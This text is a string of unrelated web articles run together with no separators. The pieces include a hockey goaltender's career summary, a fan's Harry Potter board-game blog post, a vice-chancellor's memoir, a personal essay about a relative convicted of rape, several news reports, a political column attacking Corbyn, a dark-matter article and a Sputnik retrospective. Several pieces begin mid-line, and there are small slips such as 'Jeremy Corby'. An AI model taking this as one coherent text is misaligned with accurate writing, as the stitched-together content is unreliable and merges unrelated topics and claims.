Allen played for the Midget "AAA" Canadiens under Kevin Pottle, before being drafted in the third round of the QMJHL draft to the St. John's Fog Devils. After one season with the Fog Devils, Allen was picked to play for the Under-18 World Hockey Championship in Kazan, Russia where he won gold and was named tournament MVP and top goalie. In 2008, the Fog Devils were sold and moved to Montreal, becoming the Montreal Junior Hockey Club. In 2009, Allen represented Canada at the World Junior Ice Hockey Championship in Saskatoon, winning silver after posting 4 wins and 1 subsequent loss in the final to the Americans. Allen was traded to Drummondville after the World Juniors tournament, and posted a record of 18 wins and 3 losses with a save percentage of.933% and 1.75 GAA. He was named the recipient of the Jacques Plante Trophy as goalie of the year in the QMJHL in 2009–10.
On October 22, 2008, Allen was signed by the St. Louis Blues to an entry-level contract.[2] He made his NHL debut during the playoffs on April 30, 2012, coming in to briefly relieve Brian Elliott late in the Blues' second game against the Los Angeles Kings in the Western Conference semi-finals. During the shortened 2012–13 season, Allen was recalled to the Blues and recorded his first career NHL start and win in a 4–3 overtime victory over the Detroit Red Wings on February 13, 2013.[3]
On April 17, 2014, Allen was named the Aldege "Baz" Bastien Memorial Award winner as the American Hockey League's (AHL) Outstanding Goaltender for the 2013–14 season.[4]
On March 26, 2016, Allen shutout the Washington Capitals to help the Blues break their record for longest stretch without allowing a goal.[5] In the 2015–16 season, he had a 2.35 GAA with a.920 save percentage.
During the 2016–17 season, Allen was pulled four times in six starts during a rough stretch of play, including a poor showing on January 19, where he allowed four goals on 10 shots against the Washington Capitals.[6] Allen did not travel with the team to Winnipeg for the January 21 game against the Winnipeg Jets, and stayed home to be with his newborn daughter. He was scheduled to rejoin the team on January 23, for the remaining two games of the road trip.[7] His play soon rebounded however, and he was named Second Star of the Week on February 13.[8] Allen went 3–0–0 with a 1.00 goals-against average, a.967 save percentage along with his 13th career shutout against the Ottawa Senators (February 7). His two other wins were against the Toronto Maple Leafs (2–1 OT, 31 saves, February 9), and Montreal Canadiens (February 11).[9]
Personal life [ edit ]
In 2016, Allen created a painting of the St. Louis skyline for the Kidney Foundation of Canada Atlantic Branch's "A Brush of Hope" Celebrity Art Auction. His painting was auctioned off on ebay.ca in a ten-day online auction.
In January 2017, Allen's fiancé, Shannon Adams, gave birth to their first daughter.[10] The couple gave birth to their second daughter in April 2018 and married later that year in August.[11]
Career statistics [ edit ]
Regular season and playoffs [ edit ]
Awards and honours [ edit ]“Of course it is happening inside your head, Harry, but why on earth should that mean that it is not real?”
- Albus Dumbledore
This is the story of how something that had been simmering inside my head for many, many years finally took a real — a corporeal — form.
A few years ago, during one of my sporadic wardrobe purges, I rediscovered a small box of cards I had stashed away close to two decades ago. It was a Harry Potter trading card game I had (almost) invented when I was about 9 years old. This was in the year 2000, before the release of the Order of the Phoenix book or the Philosopher’s Stone movie. Never having been a fan of either WWE, Pokemon or Dragon Ball Z, I never caught on to the trading cards mania that gripped the bulk of my pre-smartphone-equipped generation of kids, despite the persistent efforts of my cousins every Diwali and summer break. The Indian markets hadn’t as yet reaped the benefits of liberalisation and globalisation enough to make Hasbro’s limited release of Harry Potter Trading Cards available in India, and Amazon hadn’t started free shipping to Missouri just yet, much less Mumbai.
I craved for an interactive, immersive outlet for my Harry Potter fandom similar to what my Pokemon-obsessed friends had and eventually decided to create one for myself. And thus, replete with units of an undefined “power” and misspelt incantations written in newly learnt cursive script, a set of stamp-sized cards was created from the back of old school notebooks.
My first attempt at a Harry Potter trading card game — pictured here with a completely unhelpful list of instructions
Regretfully, while the box of cards I found years later did include a master-list of all the cards in the game, my handwritten note made no mention of any gameplay instructions or what the cards actually do. The collective memories of myself, my sister and cousins who played the game back then haven’t been of much help in recalling any of this either and the game found its own special place in the legion of whimsical projects I never finished.
Cut to seventeen years later.
Armed with some stray Photoshop skills, a seemingly endless collection of outstanding fan-art and wiki pages contributed by a global community of similarly obsessed fans, and access to Pottermore — the tremendous treasure trove of trivia on all things Harry Potter, after many weeks of toil, a couple of months ago I was finally able to give that old whim a corporeal form.
At this stage I have to make a strong disclaimer: this as-yet-unnamed game is not intended for any commercial use whatsoever. I actually enjoy my day job and it could not be more at odds with designing and selling board games. What began as idle commute time musings, evolved into a weekend hobby and eventually exploded into a Captain Ahab-esque obsession that at one point consumed me for 36 hours straight. The ultimate objective behind it all was to allow my friends and myself to spend many afternoons immersed in Rowling’s magical universe, and nothing more.
Coming back to how this board game works…
The goal of the game is straightforward — compete with other players to be the first to finish Harry’s seven year journey, from the doorstep of No.4 Privet Drive to the heart of the Battle of Hogwarts, with each step on the board representing a chapter from the books.
Starting your journey as Harry Potter at the doorstep of №4 Privet Drive…
…Ending at the heart of the Battle of Hogwarts [Edit: The latest yet-to-be printed version now reads ‘Mischief Managed’ instead of ‘You made it!’ ]
Mirroring the design of the Marauder’s Map, the board itself is made up of seven triangles, each spanning one book, that come together to form a heptagon. American readers will recognise the board illustrations as the official chapter artwork by the incredibly talented Mary GrandPré. (Indian readers were woefully deprived of these visual treats in the versions published here).
A Marauder’s Map inspired compilation of the original chapter artwork by Mary GrandPré
Along the way, just as Harry did, but blessed with much more foresight, to complete the game players must collect all seven Horcruxes by making their way to the corresponding steps scattered across the board, and destroy the Horcruxes by earning and trading for specific Horcrux Demolishers.
Collect and destroy all the Horcruxes with the Horcrux Demolishers
The Horcrux Demolishers
Finally, to make their way across the board players are equipped with a set of 112 unique action cards of 7 categories or “classes”: [Harry’s] Spellbook (a collection of the charms and jinxes that Harry learns at Hogwarts), Friends and Foes (a motley crew of characters who aid or assail Harry along the way), Trolley of Treats (a delectable collection of edibles from Harry’s universe), Fantastic Beasts (a herd of the magical creatures Harry encounters in his many exploits), Haunts (a cluster of the enchanted places Harry visits over the years), Potente Potions (a set of all the mysterious draughts Harry learns to brew) and Charmed Objects (a mostly-Muggle-origin assortment of the various magical items Harry uses in his adventures).
Players begin the game with a hand of 7 cards each — one from each class
A long overdue shout-out at this point: limited as I am by my own sub-par illustration skills, I will be eternally grateful to a whole host of illustrators without whom it would have been impossible to create a collection of 112 unique action cards. Because of them, my task was limited to scouring the internet for relevant images and editing them to better suit the theme of the corresponding card.
A majority of the illustrations for the cards originated from the exceptionally talented artists at Pottermore, while a handful of them are works of fan-art that have been so widely shared that it has proven hard to trace them to the original source. (Nevertheless, listed at the bottom of this post are a few of these artists!)ATLANTA, GA - JANUARY 22: TV personality Terry Bradshaw speaks to Matt Ryan #2 and Julio Jones #11 of the Atlanta Falcons after defeating the Green Bay Packers in the NFC Championship Game at the Georgia Dome on January 22, 2017 in Atlanta, Georgia. The Falcons defeated the Packers 44-21. (Photo by Rob Carr/Getty Images)
With every win John Michaels gives us a new victory song for the Atlanta Falcons; this week’s could be the best ever.
The Falcons beat Green Bay 44-21 to win the NFC Championship Game on Sunday. It was a great game from start to finish and Atlanta is fired up. With each win this season, John Michaels hit the lab to record a big victory song. This week’s was amazing, with a nod to a local artist — and Michaels even curses (which means he is fired up). Keep this link handy so you can play it at anytime.
Click below to hear the Super-Bowl Bound Falcons Victory Song:I knew that I wanted to be an artist from the age of five. I was living in the tiny village of Makhoul in Galilee, Palestine, and was one of 10 children being raised in a two-room home by a widowed mother. I used to collect stones from the rubble of a bombed-out village nearby and would sit on our front step, carving out small figures with our family’s single knife.
While I didn’t know any artists as such, I was surrounded by people who valued creativity. We were a village of poets. And my own mother was the best knitter on the planet – with the little she had, she was able to clothe her entire family. Her attitude – and her faith that tomorrow can be better than today – influenced all her children. She instilled a work ethic and a passion for creativity that I continue to draw on to this day.
From the age of 13, I had to supplement my schooling with paid work on a building site. It was tough, physical work, but I was determined to educate myself. I left school with the academic credentials needed to attend university, but unfortunately without the financial means.
Instead, I took a job working in a carpentry shop, sweeping floors and tidying the workshop. When my boss discovered that I could draw, he started taking me along on jobs and, later still, when he discovered my passion for carving, he began to involve me in the production process. Eighteen months after starting out in the lowliest role, I was made manager of the workshop.
But the desire to continue both my education and my artistic practice never left me. Working as an instructor for a summer school on the Sea of Galilee brought me to the attention of a Scottish clergyman, who invited me to the Isle of Iona to design and install a public sculpture.
I arrived at Heathrow airport unable to speak more than 100 words of English and promptly became lost on the London Underground for six hours. Then, taking the coach up to Glasgow, I misunderstood the meaning of a rest stop and mistakenly disembarked in Birmingham. Four days, it took me, to journey to Scotland. I ran out of money and had to sleep rough; but with the help of several well-meaning strangers, I eventually got the right buses and boats.
The kindness of the people I met on Iona convinced me that the UK could have a very special role to play in my development as an artist. I was shocked at just how politically aware the residents were, and at how much they knew about the issues faced by Palestinian villagers such as myself.
I sold everything I had, and with the help of a scholarship I was able, aged 25, to commence a BA at Liverpool Polytechnic. The work ethic instilled in me by my mother led me to achieve a first within two years, while simultaneously studying English and holding exhibitions of my work.
Further scholarships enabled me to achieve an MA and then a PhD at Manchester Metropolitan University. I’ll be honest: I didn’t know what a PhD even was before I came to the UK. But the support I received, the way I was encouraged to explore my Palestinian heritage and to engage with issues of culture and identity, was revelatory.
Mine was the first PhD to meld the practical and the theoretical. I interviewed many Palestinian artists, and I was encouraged to use my knowledge of making and doing to further explore artistic responses to the political context. It was a turning point in my life – a moment when I fully understood the contribution that universities can make to furthering understanding of our culture.
A series of academic and then management roles followed. As someone who benefited from highly personalised support during my own education, I became a passionate advocate for engaging with students on an individual level. Nowhere is this more important than in specialist arts institutions where students should be encouraged to develop their own unique practice. That’s why I was drawn to the vice-chancellorship at the University for the Creative Arts. UCA encourages students to pursue their own individual direction.
I am very aware that I benefited from a UK education during an era when overseas students were greeted with open arms. I will never cease to be grateful for the kindness and opportunities extended to me, and I’m all too aware of how different my life could have been had I not received support at key moments.
That’s why I’ve been saddened to witness the increasing barriers implemented by successive governments in the UK. Today, a driven Palestinian villager is very unlikely to have the same opportunities as I had – a state of affairs that I’m determined to challenge as a vice-chancellor.
I’m going to make it my mission to ensure that as many people as possible benefit from a personalised creative education. Wherever they may be in the world, wherever their interests may lie, everyone has their own forms of expression. This should be celebrated because it has the potential to enrich all our lives.
Bashir Makhoul is vice-chancellor of the University of the Creative Arts.I am a woman. I am a feminist. And it took me 12 years to admit that someone I loved was a sexual predator.
This isn’t easy to acknowledge, but it feels especially important after a year marked by several high profile accusations of sexual assault and domestic violence. Almost every case featured public scrutiny of the accuser’s history and values and motivations; almost every case featured a woman who choses to publicly stand by the accused. Many other women responded with shock and disappointment: Why would any woman defend a rapist? How could any smart, confident woman be in such denial?
The public refusal to believe rape accusations is harmful to all women, and it casts a shadow on rape victims all over the world. But as appalling as it is to refuse to believe a woman who has been so brutally violated, I cannot help but feel some empathy with the disbelievers, because when a close family member of mine – who I’ll call Steve – was accused and convicted of sexual assault, I refused to believe it.
My father had left for Nigeria when I was two years old and my brother was six months old and, as we grew up, Steve was what we imagined a “cool dad” would be like: he was funny, he swore, he played pranks. He always had time for us when it seemed like all the other adults had more important things to do.
The first time Steve was arrested for sexual assault was in 1988, when I was seven years old. I remember little more than visiting him in prison, talking to him through the glass. Nobody talked about why he was there.
When he was released three years later we all acted as if nothing had happened. Steve went back to being the ticklemonster and the prankster in the family. He babysat me. We went to Disneyland together.
Three years later, he was arrested again – this time, for a particularly violent rape of a prostitute.
After his second arrest, I was old enough to know what was going on. His parents frantically scraped up every dollar they could for his defence, emptying their retirement accounts and selling their house. They were confident that the truth would win out and people would see that Steve was the victim of a vindictive woman.
Steve’s parents were kind and loving people. But these charges brought out a shocking side to them.
“That whore”, Steve’s dad would say. “That lying whore.”
When the victim showed up to court covered in cuts and bruises and her neck in a brace, Steve’s parents argued to us that it was a ruse: the bruises were makeup; the neck brace was for show. My mom, who hadn’t even been particularly close to Steve, believed all of their stories and justifications. She never said anything to vilify the victim, but she would say that something about it just “didn’t seem right.”
When Steve was convicted for rape for the second time and sentenced to 12 years in prison, we still didn’t believe that our Steve was capable of something so monstrous. His parents cried every day over the injustice of the system. My brother and I sent letters and pictures to him in prison. He made us little gifts in return, and we treasured them. I dreamed that the police would realise they had made a mistake and he could come home. I would wake up crying.
I missed him desperately.
Nobody ever talked about the first conviction. Nobody ever discussed the charges that led to his 12-year stint. We didn’t tell any of the extended family where he was.
Even after I grew up, got married and had kids, I still didn’t believe Steve was a rapist. So, when he was released, I greeted him with open arms. We had a party; I painted a banner.
One evening, a few years later, we were all at a family dinner. Somehow his jail time came up in conversation.
“That whore,” his dad whispered. Everybody quietly nodded and changed the subject.
After dinner, I drove home with my brother’s then-wife and I realized she was shaking with rage. I didn’t understand.
She finally turned to me and said, “Do you realize that he just called a rape victim a whore?”
She looked at her two little girls in the backseat, and I did too. I finally realised what this looked like to an outsider, what I had been condoning all these years – all to preserve the fantasy of a man who never existed, all to keep from realising that my love had been wasted on someone who was the embodiment of everything I stood against.
What a failure of a family we were, to enable this man and to put a roof over his head while he was victimising women. I can’t imagine how people must have shaken their heads at us as we refused to believe a woman covered in injuries, and how terrified they must have been to have us in their neighbourhood. We must have seemed absolutely delusional to deny that there was anything behind not only one, but two rape convictions. How heartless we must have looked to call a rape victim a “whore”.
It’s terrifying that we never questioned it.
I no longer have any relationship with Steve. The man I see now has tainted every memory of the man I once knew. His mother, to this day, rages at the system that unfairly locked him away, and she still supports him financially and emotionally. I think that admitting that the baby she rocked in her arms grew into a monster would kill her; it would strip away every year, and every day that she had poured her love and devotion into him.
We have to believe victims, even if we are hurt and ashamed by what they say. It’s necessary to face that pain and that shame in order to protect the innocent and get justice for those who have been harmed. The pain and heartbreak that the families of rapists face should never be an excuse for turning your back on victims – and I know just how devastating acknowledging the truth can be.New Delhi: The Centre has accorded the top category ‘Z+’ VVIP armed security cover to newly-appointed Uttar Pradesh chief minister Yogi Adityanath.
The cover will be provided by a special commando team of the CISF along with a small contingent of the Uttar Pradesh police.
Adityanath was till now enjoying the smallest category of ‘Y’ category VVIP cover by the CISF in his capacity as a BJP’s member of Parliament from Gorakhpur but officials said with his taking charge as CM, a threat perception report of central security agencies required his security paraphernalia to be upgraded.
Also Read| Yogi Adityanath asks Uttar Pradesh police officials to change working style
“The chief minister’s security has been bolstered and he will now be secured by a strong team of CISF commandos everytime he moves across the country. A similar commando contingent will be deployed at his official residence," a senior officer said.
As part of the new and upgraded security paraphernalia, Adityanath will have about 25-28 commandos accompanying him with sophisticated weapons at all times he is mobile and his convoy will have pilot and escort vehicles armed with jammers.
Under the ‘Y’ cover, he was accompanied by about 2-3 commandos when he travelled, officials said.
A Central Industrial Security Force squad from its Special Security Group (SSG) has recently taken charge of his security in Lucknow, they said.The intrigue was thick at Cable-Tec Expo in October, when the board for show producer SCTE blocked a panel focused on operating platform Android TV from its official curriculum at the last minute.
Society of Cable Telecommunications Engineers reps wouldn’t comment on why they axed the panel, which ended up finding sanctuary on the show floor at the booth of sponsor Amino.
An individual with knowledge of the SCTE board’s discussions said having a panel focused on a Google technology that competes with Reference Design Kit (RDK)-based set-top software tech offered by Comcast, Liberty Global and other SCTE constituents made an Android TV discussion a dicey topic.
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Further, with the pay TV industry still coming off a fierce battle against Google and the FCC to protect its leased QAM set-top business, having Google Head of America’s Partnerships Jon Stewart top-lining the event probably rubbed the board the wrong way, too.
As far as the SCTE cancellation of the panel goes, that was "a bizarre move,” noted Parks Associates senior analyst Brett Sappington. “Canceling the panel likely brought far more attention to the topic than the 80-100 people attending the session ever would have been able to accomplish.”
The decision also reeked of cognitive dissonance.
RELATED: SCTE mum on why it shut down Android TV panel at Cable-Tec Expo
Just several weeks after Cable-Tec Expo, Comcast announced a new Android TV app for its Xfinity TV Partner program, which lets users with supported devices use their Comcast video service without a set-top. Comcast’s Android TV app will initially only work on Sony smart TVs, but it’s very imaginable that Comcast will support other Android TV devices soon.
RELATED: Editor's Corner—Arris looks to challenge TiVo’s U.S. Tier 2 market with Android TV set-top line
NScreen Media analyst Colin Dixon, who moderated the fateful Cable-Tec Expo panel, downplayed Comcast’s entry into the Android TV market, noting that the cable operator remains committed to RDK, the standardized set-top software stack it co-developed with Liberty Global and others in the cable industry.
“So, Comcast may be dabbling [in Android TV], but it is foursquare behind RDK and X1 as the platform for a connected cable,” he said. “Cox and a couple of other cable operators are already on that combination and are paying a lot to Comcast in license fees. And I mean a lot. There is no way they what other operators to even consider a free alternative to X1 like Android TV.”
The pay TV industry’s leading set-top vendor, Arris, is betting against that latter assertion. At the IBC show in Amsterdam in September, Arris introduced a new line of devices for cable, satellite and IPTV operators based on Android TV architecture. The new Arris boxes allow operators to deliver their own branded services in 4K/HDR video while also delivering a full range of Google OTT services, including YouTube and Google Play transactional offerings.
Arris won’t say it overtly, because TiVo is a partner, but its new Android TV devices fit right in with the demands of Tier 2 U.S. operators, which have largely turned to TiVo for ready-made solutions that combine linear pay TV services with integrated OTT platforms. As of August, TiVo’s advanced TV solutions were in 23 million homes globally, most of them delivered through cable operators.
“With the operator-tier, we turn over the entire UX to the operator,” noted Google’s Stewart, speaking on the relocated Cable-Tec Expo panel last month. “The services that are pushing people to switch to HDMI 2 to consume, we want that to be operator-only controlled so that they can keep them on HDMI1. Android TV does have all these other apps available to it from the Google Play store, and there are a few requirements to expose all the apps to the end users. But the rest of the experience is 100% controlled by the operator.”
Added Sappington: "Operators seem interested in using streaming devices as their gateway into the home for streamed services, though many would prefer to make and distribute the box rather than become an app on someone else’s box. Sky has been successful in using Roku’s platform in the UK for Sky Now TV, which has the same form factor, though not the same software, as Android TV devices.”
Despite the chill at Cable-Tec Expo, Sappington sees a general thawing between traditional pay TV and Google. “It seems a far cry from the days when operators worried both about the reliability/security of an Android-based device and about the fact that the Google ad machine would somehow eat away their advertising business,” he said.× Oklahoma woman admits to trying to bite off husband’s private parts, police say
CHICKASHA, Okla. – A Chickasha woman was arrested after she allegedly tried to bite off her husband’s private parts.
Officials said the attack happened while the man was holding the couple’s 11-month-old daughter.
According to a police report, Merci Keene allegedly confronted her husband, Jesse, after she heard he was leaving with their daughter.
Officials said the woman admitted to pushing her husband to the ground and “tried to bite his penis off.”
“I observed a bite mark on Jesse’s right arm, and there was another bite mark on Jesse’s left thigh, about [two] inches from his penis,” said Sergeant Jeremy Alexander, according to The Express-Star. “Jesse said both marks came from Merci biting him.”
Merci |
I can tell you why hundreds of thousands think that ‘Jeremy’ – as they insist on calling him – must prevail. I can take you through it all: the oligarchs on one side and the food banks on the other; the Iraq war and the failure to find weapons of mass destruction; the bailing out of the banking system without one, not one, banker being prosecuted for ruining the economy or ravishing the exchequer; the inversion of the natural order, that preference for the past over the future, which has seen the government load benefit cuts and fees on the young while gifting pension rises and tax giveaways to the old; and the destruction of everyday aspiration, which has made the hopes of millions to live an ordinary life with a man or woman of one’s own, in a home of one’s own, with space for children of one’s own an impossible dream.
I can tell you the stories. Of course I can. I wrote several of them myself. They are why Jeremy Corby won the leadership of the Labour Party, and why his supporters still cling to him as if he were Christ reborn.
He has led and won a protest against so much of what is wrong in Britain. No wonder they love him. Yet, as at least a few of them are beginning to understand, grievances are not enough. When ‘dissenters’ win, they pass a tipping point and topple into a new world. It is no longer sufficient to denounce once you have won, anyone can denounce, you have to create.
I had a piece in the Observer yesterday on the vacuity of Corbyn. How he and vast numbers of people who call themselves left wing think it is enough to say that they are against poverty, war etc, without having an alternative political and economic programme. Watching them is like watching children with a dressing-up box playing a game of ‘let’s pretend to be left wing’: except these are not children and this is not a game.
The vacuity of the far left, its refusal to commit to a programme because commitment would necessitate compromise, is unforgivable. At best it will give us a decade, maybe longer, of Tory rule. At worst, it will destroy the Labour Party and reduce left-wing politics to a ‘social movement’ which will retweet the odd barbed comment, organise the odd march and throw the odd brick at the odd policeman but achieve precisely nothing beyond giving its members a wholly unwarranted feeling of righteous virtue.
With the vacuity comes the inevitable frivolity.
Today Thangam Debbonaire, the Labour MP for Bristol West, writes about how Corbyn cannot be bothered to attend to the most elementary duties of an opposition leader. Her constituency has already experienced the thuggishness Momentum has brought to Labour parties across the country. Social justice warriors, who weren’t even members until a year ago, are demanding that she explain her ‘betrayal’ of ‘Jeremy’. (Sorry to go on about the first name terms but they reveal so much. Free citizens of robust democracies would call him ‘Corbyn,’ ‘Mr Corbyn’ or ‘that useless bastard’. ‘Jeremy’ and ‘Jez’ reveal a political and emotional infantilisation among his followers.)
So poisonous has the atmosphere become in Bristol West and across the country, Labour National Executive has had to suspend all meetings as if Britain were a country under martial law.
Debbonaire, quite properly, still believes she has to account for her actions to Labour members, so she explained on her Facebook page why she had no confidence in him. He had announced to the press that he had appointed her to his shadow cabinet. This was news to Ms Debbonaire, as he had not asked her if she wanted the job. As she was being treated for breast cancer, a call would have been more than a courtesy. She needed to talk to him about whether she was well enough to take on the additional burdens.
Her sense of duty prevailed and she took the job. But she did not need to struggle with it for long. Corbyn sacked her the next day when he realised he had given away part of someone else’s role. He didn’t bother to tell her he had fired her either.
I discovered that he had sacked me but hadn’t told me and did not have any ideas for how I was supposed to explain it to Bristol West members or constituents. I was then faced with the choice of telling the truth – that he had made a series of errors, and inevitably thereby face a pile of criticism from his supporters – or say I had changed my mind about accepting the role – and thereby face a pile of criticism from.his supporters. And I knew the pile would arrive because I had seen how it went for others who had resigned. And because Corbyn supporters had already piled into me for disloyalty when I had had to miss votes for cancer treatment.
It was a manifestation of the same incompetence that helped take Britain out of the European Union, she concluded.
But then he was missing in action during the EU referendum, including going on a week’s holiday three weeks before the day. I found his team didn’t send anyone to the EU Campaign meetings in Westminster and his lack of enthusiasm showed.
She does not understand how Labour can have a leader who does not care if Britain is in the EU or not, and says that he is not interested in winning elections. Enlightenment will come when she understands the far left. It doesn’t want to win elections because the Marxist- Leninists among its ranks do not believe in democracy. They want a dictatorship of the proletariat – not the actual proletariat, you understand, who have never taken to Marxism – but of themselves and their allies. There are very few true Leninists left, however. Corbyn and Momentum do not despise winning because they have an alternative dictatorship in mind. They despise it because they have no alternative whatsoever. At some level in their tiny, fevered minds, they know that, if they tried to win, they would have to compromise. In other words, they would have to ‘sell out’. And they would rather the Tories ruled forever than do that.
Doubtless Conservative readers are enjoying the destruction of the Labour Party. You would not be human if you did not. But allow me to point you to a parallel. For years the Tory right has been able to tell an equally compelling story about the injustices the European Union heaped on Britain. They, like the far left, have now won. They have reached the tipping point and gone from protesting against the establishment to being the establishment. David Davies, Boris Johnson and Liam Fox strike me as no different from Corbyn and co. They too do not have the faintest idea what to do next.(Image: T. Linden, University of Chicago)
Things are looking brighter than ever for dark matter. A brilliant haze of gamma rays coming from the centre of the Milky Way is increasingly likely to be a sign of dark matter particles annihilating each other in space. Meanwhile, hints of the same signal coming from dwarf galaxies now strengthen the case.
“This is the most compelling signal we’ve had for dark matter particles – ever,” says Dan Hooper at the Fermi National Laboratory in Batavia, Illinois.
Hooper and his colleagues have been studying this signal since 2009, steadily building the case that dark matter is the cause. In the latest work, the team say the particle must be heavier than they first thought, bringing it in line with some of the simplest theories of dark matter. But there is a twist: a heavier particle would be in conflict with whiffs of the elusive substance from experiments trying to directly detect the particles.
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Gamma ray glow
Dark matter is thought to make up more than 80 per cent of the matter in the universe. So far we have not seen it interact with ordinary matter except via gravity, and no one knows what the material is made of.
One leading candidate is a hypothetical particle called a weakly interacting massive particle (WIMP), which would also interact with regular matter via the weak nuclear force. If so, it could show itself directly in experiments deep underground or indirectly as the glow left over when WIMPs collide and disappear in a puff of other particles.
Hooper and his colleagues first spotted the potential signal of dark matter collisions in publicly available data from NASA’s Fermi space telescope. That data showed an extra-bright gamma ray glow coming from the galactic centre, a region thought to be rich in dark matter.
In their latest paper, Hooper and his colleagues outline tests they have run to rule out gamma-ray sources that could mimic dark matter, such as fast-spinning pulsars. They also plotted the most well-characterised gamma rays on a map of the Milky Way’s disc. Subtracting known background levels, they found that extra gamma rays form a sphere around the galactic centre. The sphere’s radius extends nearly 5000 light years – further than previous measurements had been able to see and much further than you would expect from pulsars, says Hooper.
“At this point, there are no known or proposed astrophysical mechanisms or sources that can account for this emission,” he says. “That doesn’t rule out things that no one’s thought of yet, but we’ve tried pretty hard to think of something without success.”
Dark duck
Kevork Abazajian at the University of California, Irvine, thinks an unusual class of pulsars could still account for the signals. But he’s also cautiously optimistic that the dark-matter angle will pan out. “It quacks like a duck, it looks like a duck. It has all the features that you would think dark matter should have, which is remarkable,” he says. “Either we’ll find something amazing with further study, which is that it’s dark matter, or we’ll learn something new about pulsars.”
Astrophysicists have said before that seeing the same signal in dwarf galaxies would clinch the case. These smaller objects should also be full of dark matter, but they are much less dense and so the signal should be harder to spot. Now the team of scientists working directly with the NASA telescope has found tentative hints of a gamma ray excess in 25 dwarf galaxies that orbit the Milky Way. Intriguingly, their signal seems to match the one seen by Hooper’s team.
“It’s not anything that one could look at and say, ah, see, we’ve got confirmation, we have a discovery,” says Hooper. “But it’s a hint, and if you took that hint seriously, it would imply that the signal is essentially the same as you would need to explain the galactic-centre signal.”
The wrinkle is that last year the signal Hooper has been studying looked to be coming from a WIMP with a mass of about 10 gigaelectronvolts (GeV), on the lighter end of what theory predicts a WIMP should weigh. That mass fits well with hints of dark matter from underground detectors, some of which show tentative signs of similarly lightweight WIMPs.
Thermal relics
Now the signal looks like it’s coming from a 30 to 40 GeV particle, which is closer to what the simplest theories of dark matter predicted – but incompatible with the tentative findings of direct experiments. “These heavier WIMPs are the standard thermal relics of the big bang that guys like me have been looking for since we were in grad school,” says Hooper.
It is possible that LUX, the most sensitive underground detector yet, will help decide which version of a WIMP is the winner. In a separate paper, Hooper predicts that some heavier WIMPs could show up in a detector like LUX as early as next year, although some WIMPS would never show up at all.
Also, the team working with the space telescope has access to more gamma-ray data that has not been released publicly, and they are conducting their own analyses. They have yet to weigh in on whether they’re seeing the same signal as Hooper and his colleagues, but that data could be coming in the next few months.
“We’re working on an analysis of this region of the sky, and we hope to have this done very soon,” says Fermi telescope scientist Simona Murgia at UC Irvine. “Until this analysis is finished, we can’t confirm or rule out this other work. They are excellent scientists and have done very interesting work, but having different analyses producing a consistent result is a necessary step forward.”
Journal references: Physical Review D, DOI: 10.1103/PhysRevD.89.042001, arxiv.org/abs/arXiv:1402.6703 and arxiv.org/abs/1404.0022Brett Ratner filed a defamation suit in Hawaii federal court against Melanie Kohler on Wednesday, who wrote a Facebook post referring to him as a “rapist.”
The suit comes on the heels of a Los Angeles Times report that details the allegations from six women that Ratner acted inappropriately, either sexually harassing or assaulting them. Actresses Olivia Munn and Natasha Henstridge are among the women. Kohler was not named or quoted in the report, but instead posted her story more than a week previous. Ratner’s suit describes the social media post as libel.
“Commencing on or about October 20, 2017, Defendant recklessly and/or intentionally posted a statement on her Facebook page claiming that ‘Brett Ratnerraped [her];’ ‘Ratner was a rapist on at least one night in Hollywood about 12 years ago’; and Ratner ‘preyed on me as a drunk girl [and] forced himself upon me,'” the suit reads.
The lawsuit alleges that the statements were published falsely and with the intent to damage Ratner’s reputation.
The director-producer is seeking general, special, and punitive damages, claiming that the post has caused him extreme distress and that it has harmed his personal and professional reputations.
The allegations against Ratner are some of the latest in a firestorm of accusations that were triggered by a New York Times report detailing eight settlements made by producer Harvey Weinstein with women who had accused him of sexual harassment. Warner Bros. Pictures have alsosevered tieswith Ratner.
Ratner Suit by gmaddaus on Scribd
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Tweet Thank You for your choice!The launch of Sputnik 1, Earth's first artificial satellite, paved the way for Moonwalking astronauts, robotic exploration of the planets, and space tourism.
[fw-embed-media url="https://s22380.pcdn.co/wp-content/uploads/Sputnik1_f.jpg" url_large="" alt="Sputnik 1" caption="Soviet technician working on Sputnik 1 prior to its launch on October 4, 1957." credits="© Sovfoto" width="" height="" align="right"]
Sixty years after it officially began on October 4, 1957, we still often refer to the era we live in as the Space Age. Our extraterrestrial explorations have planted a set of mileposts in our memories — from those first brief forays into weightlessness to permanently occupied space stations, from spindly probes snapping a few pictures while whizzing past a distant planet to rovers probing every nook and cranny and telescopes peering into the deepest vastness. It’s no surprise that venturing beyond our home planet is considered by many to be the defining achievement of our era, a symbolic pinnacle of human civilization.
But for the United States, at least, the Space Age began not with glory but with worldwide humiliation.
In mid-1955 President Dwight Eisenhower declared that the nation would place a scientific satellite into orbit during the upcoming International Geophysical Year, a worldwide 18-month stretch of cooperative research. The IGY kicked off with much fanfare on July 1, 1957, with the U.S. envisioning a satellite launch later that year. But before the planned Vanguard satellite ever met its rocket, on October 4th a persistent beeping from orbit revealed that the Soviet Union had orbited the world’s first satellite, Sputnik 1, and in doing so had won the first leg of what would become a race to space.
Sputnik wasn’t much of a satellite, but it was a beefy 184-pound beach ball compared to Vanguard’s 3-pound grapefruit. Amateur skygazers, mobilized worldwide to track the first satellites, watched it pass overhead through their telescopes. And its simple beeping signal, powerful enough to be picked up by amateur radio operators around the world, left no doubt that the achievement was real.
Just a month later, on November 3rd, the USSR awed the world again by launching the first space traveler, a small mongrel dog named Laika, aboard Sputnik 2.
[fw-embed-media url="https://s22380.pcdn.co/wp-content/uploads/Explorer1_and_3guys_m.jpg" url_large="" alt="Explorer 1 celebration" caption="Holding aloft a model of Explorer 1 at a post-launch press conference in 1958 are (from left): William H. Pickering of the Jet Propulsion Laboratory; James A. Van Allen, whose instrument discovered radiation belts encircling Earth; and Wernher von Braun, leader of the US Army team that built the Juno launch rocket." credits="NASA" width="" height="" align="right"]
The US effort swung into overdrive. After a spectacular Vanguard launch failure, televised live that December, Washington officials gave the nod to a parallel satellite program headed by Wernher von Braun, and Explorer 1 rocketed into orbit successfully on January 31, 1958. It was followed on March 17th by Vanguard 1 — which, as just the fourth satellite ever launched from Earth, remains in orbit today. Later that year, Congress created a new agency, the National Aeronautics and Space Administration (NASA), to lead the fledgling U.S. space effort.
Today we take so much of what followed Sputnik 1 into space for granted. We think little of the fact that a phone call from here to the next town might bounce off a satellite 22,400 miles overhead, that a few keystrokes can instantly summon an online satellite view of anywhere on Earth, that space has become the ultimate platform for observing our universe, or that we can send little remote-controlled vehicles to probe odd-looking rocks on a planet 100 million miles away.
